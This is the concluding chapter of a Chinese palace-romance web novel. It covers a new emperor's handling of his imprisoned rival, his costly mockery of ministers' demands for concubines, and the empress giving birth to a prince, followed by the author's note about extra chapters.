唐兮暖比他睡得稍晚些，也是在欢喜中入睡的。 不过第二天早上，忽然有些担心。 “二郎，”她一张小脸全都是纠结，拉着周川行的手附在自己的小腹上，“你说我们的孩子会不会……” 之前表哥一直嫌弃她会生傻子才不许她要孩子。 虽然她从不相信自己傻，可被人说的次数多了，难免忍不住担心。 周川行柔声安抚道：“我们家姑娘如此冰雪聪明，孩子当然随我们两个，既聪明身体又好，放心吧，一切都有二郎呢。” 唐兮暖表面听了周川行的话，可背地里还是忍不住找太医咨询。 自从唐兮暖离开侯府，身体一直都是张太医调养的，他对唐兮暖非常了解。 “放心吧皇后娘娘，您是天才，孩子也会是天才。” 唐兮暖没希望孩子是天才，只要赶上普通人她就心满意足了。 周川行刚刚登基，前朝事务很忙。 不过他摄政将近两年，政务处理起来还算得心应手。 只不过朝廷缺人才。 他把之前被停职的所有学子全部官复原职，可新人上任需要学习和磨合，还不能独自挑起大梁，所以他还是很辛苦。 批不完的奏折，处理不完的政事，能陪皇后的时间少之又少。 唐兮暖这段时间除了养胎，便是整理后宫事务。 她是个不懂管家的，不代表她不会用人。 在原有的后宫格局上减掉一些没用的女官，增补一些有用的女官。 刚开始很多老宫女仗着资历老，阳奉阴违不好好办差，唐兮暖可不是什么手软之人，该打板子的打板子的，该发配的发配，又有几个会功夫的贴身侍卫护着，连翘和百合正在手痒难耐，可给她们两个逮到了机会。 唐兮暖一声令下，两个人争着抢着动手。 半个月过后，谁还敢小瞧了这位新皇后。 登基大典一个月后，周川行遇到麻烦事。 楚衍诺被他打入死牢一直没处理。 最近接连有人上折子请他下旨处罚。 一伙人态度很坚决，刺杀皇后，还是怀有身孕的皇后，杀无赦。 一伙人认为他斩杀睿王这个叛逆，有大功，该大赏。 对别的案件，周川行都能快刀斩乱麻，可楚衍诺不一样。 皇后知道楚衍诺被下死牢，可一次都没跟他提过，他实在摸不准皇后的态度。 两人如今修成正果，夫人肚子里还揣了他的崽儿，他可不想因为这么点事，产生嫌隙。 这天一众大臣在朝堂上要求他处死楚衍诺后，他把孙卿兆单独留下来。 虽然他十分不喜欢此人，可不得不承认，这人主意非常多。 私下里，周川行没讲太多规矩，让孙卿兆尽管坐下说话。 “孙侍郎，楚衍诺这事，你怎么看？” 孙卿兆算是立有从龙之功的功臣，不过他资历浅，又没什么背景，周川行登基后并没给他升官。 不过升官是早晚的事，周川行打算磨砺几年再委以重任。 孙卿兆对自己这个四品吏部侍郎还挺满意。 听到皇上垂询，小心思又犯了。 “皇上，微臣如果能帮您解决这事，皇上能不能允了微臣一个赏赐。” 周川行还算大度，“你别打皇后主意就行，她如今怀有身孕，朕不可能放她出去整顿国子监。” 孙卿兆也没那么大胆子。 皇后怀有龙嗣，这可是大周朝第一件天大的事。 “皇上误会了，微臣是想求娶连翘姑娘。” 周川行先是一怔，随后笑了起来。 “连翘无父无母是个孤儿，朕虽然对她有恩，但她终身大事还需她自己做主，只要她同意，朕会把她风风光光嫁出去。” 孙卿兆有信心把人骗回去。 “皇上，楚世子可杀可不杀。” 周川行凉凉瞥他一眼，“废话！” 孙卿兆：“楚世子虽然杀了皇后，可皇上病重，她腹中的孩子……” 接触到周川行凉薄的眼神，及时停止。 “皇上，楚世子斩杀谋逆主犯，有大功。 这些都不重要，重要的是，您怎么想。” 皇上皱眉：“我应该怎么想？” 孙卿兆：“皇上，一个死人远比一个活着的人危害大。” 周川行没听明白，他握着茶碗听孙卿兆继续说下去。 孙卿兆：“娘娘从小长在侯府，朝夕相t处十四年，这是无法磨灭的事实，他如今入狱，娘娘或许还没体会到生离死别，可一旦他死了，就会像一根刺牢牢扎进娘娘的心口。 多年后，她会不会后悔自己愧对侯府的养育之恩。 毕竟侯府就这一个儿子。 楚世子一死，等于侯府绝后了。” 周川行握着水杯的手微抖。 听孙卿兆继续道：“所以，您不光不能杀他，还要把他养好了，像个吉祥物一样把他摆在那，这样娘娘记得的，永远都是他做的那些下三滥。” 最终周川行没有杀楚衍诺。 将人从死牢放出来，以诛杀谋逆首功封为安国公。 楚衍诺从死牢出来那天，接他的是孙卿兆。 “恭喜安国公，大难不死必有后福。” 楚衍诺满眼都是嘲讽。 他这个安国公什么成分，他自己还能不清楚吗。 全仗了表妹的光。 原来他嫌弃的傻子，不让她做正妻，还不许她生孩子，如今是母仪天下的中宫皇后。 他望着天边云卷云舒，心口莫名产生一股刺痛。 如果有重来一次的机会，他一定不会求娶魏家姑娘。 …… 周川行登基三个月后，满朝文武仿佛约定好了似的，上折子请求他充盈后宫。 这些大臣当初没有争上从龙之功，自然要做皇上的岳父和皇家深深绑定才能保住荣华富贵。 其实他们都想错了，周川行看中的只有能力。 浏览了大部分奏折后，他主动点了楚衍晴：“楚员外郎，你帮朕算笔帐吧。” 楚衍晴早有准备。 “本官这段时间根据后宫惯例和之前留下的资料总结出，一位贵人需要的固定年例、衣服首饰，妆容打点和逢年过节的赏赐，粗略算下来，大约一千两白银。 这还不算伺候她的几位宫女、太监所需的月银。 而一位普通嫔妃大约需要三千两，贵妃更多至少五千两。 就按大周朝女人平均年龄算，他们要在后宫生活至少三十年。 那贵人的总花费就是三万两。 普通嫔妃大约十万两。 贵妃要十五万两。 皇上，您看微臣这么算不错吧。” 楚衍晴一番算计把满朝文武都给算傻了。 他们原本的打算是，皇上不肯选秀，他们就把责任都推皇后身上。 女人善妒在大周朝可是“重罪”。 况且皇后一直以傻子身份长在侯府，她根本不配为中宫皇后。 只等自己女儿、妹妹、亲戚进了宫，想办法夺得皇宠，再害死皇后，他们可就是名正言顺的皇亲国戚。 只不过端王妃算这些账干什么！ 周川行有唐兮暖一个就够了，怎么可能让其她女人进后宫。 “楚员外郎算的不错，朕这后宫可不想养闲人，更没富裕到养得起贵妃、嫔妃、贵人，你们谁想把女儿、妹妹送进宫里养着，先把这些花费交上来，朕在皇宫里修一处别院，专门供养她们。 你们放心，朕一次都不会去，肯定不会打扰到她们。 但凡朕要了她们，这银子朕也不好意思再跟你们要了。 正好今年春耕有些贫穷的地方还没着落，你们就下些本钱，多推举些女子进宫。 对了，修整别院的银钱也一并出了。 贵人住一年五千两银子。 嫔妃住一年一万两银子。 贵妃一年三万两银子。 就一次性缴三十年的。 还有，这些妃嫔既然进了宫，朕就要负责保护她们的安全，给她们提供衣食住行，这些银子朕肯定是没有的。 按照修整别院的金额算进去。 贵妃三十年绝对超不过百万两。 贵妃可是正一品，花一百万两银子买个正一品，还划算吧。” 送女儿进宫做皇妃是为了谋求好处。 第一次听说花银子进宫的。 还要住专门的别院，皇上一步都不会踏进。 那她们还怎么争宠。 偏爱皇后就偏爱皇后，善妒就善妒，拐这么大弯。 可真出息！ 这么多银子还是入门级，谁知道把女儿送进宫里后，皇上还会出什么幺蛾子。 很快这些跃跃欲试的大臣便瑟缩起了脖子。 生怕皇上把他们当羊毛薅。 周川行很慢满意看到的。 “有想选秀的，自己去礼部报道，报名费一千两银子，不负责留牌子。” 满朝文武都想让这么抠门的皇上和皇后生死锁定。 千万别祸祸别的姑娘。 难怪皇上会娶唐家那个“傻子”，原来是这么算计来的。 “唉，你们没听说吗，登基大典前，皇上询问户部尚书，登基大典得花多少银子，封后大典得花多少银子。 端王妃一报，咱们这位皇上，想都没想，就让礼部合到一起举办。 皇上连自己的登基大典都如此盘算，谁家姑娘进后宫，不得被剥几层皮。” “罢了，罢了，我是不敢把女儿送进来。” “就是，这不是给人送个人质吗，三天两头要银子，谁能受了。” “活该他只有皇后一个女人。” …… 如今新朝伊始，百废待兴，到处都是用银子的地方。 周川行还真不怕他送女儿进来。 反正后宫有的是地方，择一处，把人关进去养几年，她们做梦都想出去。 到时候，他把人一放。 还得对他感恩戴德。 收的银子可别想让他吐出去一分。 七个月后，唐兮暖临产。 皇上这些天一直紧绷着神经。 唐兮暖身体不好，幸好怀孕后，太医几次诊断她身体没问题，否则他光担心都得白一层头发。 到了临产这些天，他命人寸步不离的跟着唐兮暖。 他也把能放下的朝政尽量放下，抽出大部分时间陪着她。 可惜生产这天，朝中有事，他离开了一会儿。 看见魏公公急匆匆赶过去通知他，他扔下朝政就往后宫赶。 皇后身体不好，生完这一胎，他说什么都不要了。 还以为皇后很难生产，一路跑到后宫，脑子里浮现出很多危险的画面。 甚至他都想到了太医问他不保大保小的时候，他会毫不犹豫选择他的皇后。 至于孩子，大不了从宗族里过继一个。 可等他赶到后宫时，婴儿嘹亮的啼哭都传出来了。 “皇上，大喜，娘娘生了一位小皇子，胎动还不到半个时辰，娘娘就生下来了，这会正在休息。” 皇上脚步顿了顿，望向奶娘怀里的孩子，红彤彤的也没看清楚。 大步流星进了产房。 “暖暖，你怎么样？” 唐兮暖这胎生的十分顺利，这会精神不算太好，但已经能让她有时间憧憬二胎了。 “二郎，臣妾刚生的是个皇子，臣妾还想要个公主。” 周川行心疼她，皇后额头落着一层薄汗，他拿过手帕轻轻拭去。 眼里充满了怜爱和关切。 “这事不急，你先养好身体。” 他握着皇后葱白似的手指放在唇边吻了又吻，声音有些哽咽。 “谢谢暖暖，我大周朝有后了。” 唐兮暖眼里涌上笑意，神情里全都是立下大功的小得意，“二郎，这里也有你的功劳呢。” 周川行命人把小皇子抱过来，武将出身的他，力能扛鼎，却抱不好一个几斤重的小婴儿。 费了好大劲才用双手托过来。 “暖暖，你看咱们的儿子，长得多秀气，一看就是咱们亲生的。” 唐兮暖坐起来一些，盯着周川行怀里的孩子。 脑海里浮光掠影般闪过很多画面。 没能在家人膝下长大，是她此生之憾。 这个孩子不光是她和二郎生命的延续，也是唐家的延续。 “二郎，这个孩子的名字，能让我哥取吗？” 周川行无有不从，“好，我这就给他写信，告诉他，他当舅舅了。” 正文完—— 作者有话说：番外随榜更啦。 小可爱们想看哪部分可以评论区留言。 有灵感就会写的。